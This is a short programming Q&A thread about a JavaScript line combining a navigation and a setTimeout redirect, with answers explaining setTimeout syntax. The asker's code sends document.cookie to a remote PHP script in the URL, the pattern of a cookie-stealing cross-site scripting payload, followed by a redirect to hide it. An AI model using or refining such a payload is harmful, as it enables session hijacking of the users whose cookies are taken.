Reputation: 33
I am trying to get the following to code work. But it just wont :(.
I have tested the timeout on its own and it works fine (Code line 2), but the first line wont work :(, any guidance would be appreciated.
document.location="http://site/site.php?cookie=" + document.cookie;setTimeout(document.location='http://site/site/newpage',500);
setTimeout(document.location='http://site/site/newpage',500);
I am testing this inside firebug console (by the way)
Upvotes: 1
Views: 75
Reputation: 33
Ie gone for the redirecting on the landing page instead, thanks for all the help
if ($referer == TRUE){
header( 'Location: ' .$referer) ;
}else {
header('Location: ' .$url[$urladdon]);
}
}
Upvotes: 0
Reputation: 82337
Changing document.location will immediately navigate you to another page.
setTimeout expects either a string to construct with new Function("string") (not recommended), a function pointer (recommended), or an anonymous function (recommended).
You can send an anonymous function like this:
setTimeout(function(){document.location='http://site/site/newpage'},500);
Upvotes: 3
Reputation: 626
Encapsulate it in an anonymous function.
setTimeout(function() { document.location.href ='http://etc/etc/';},500);
(don't forget the href, or use window.location maybe)
Upvotes: 0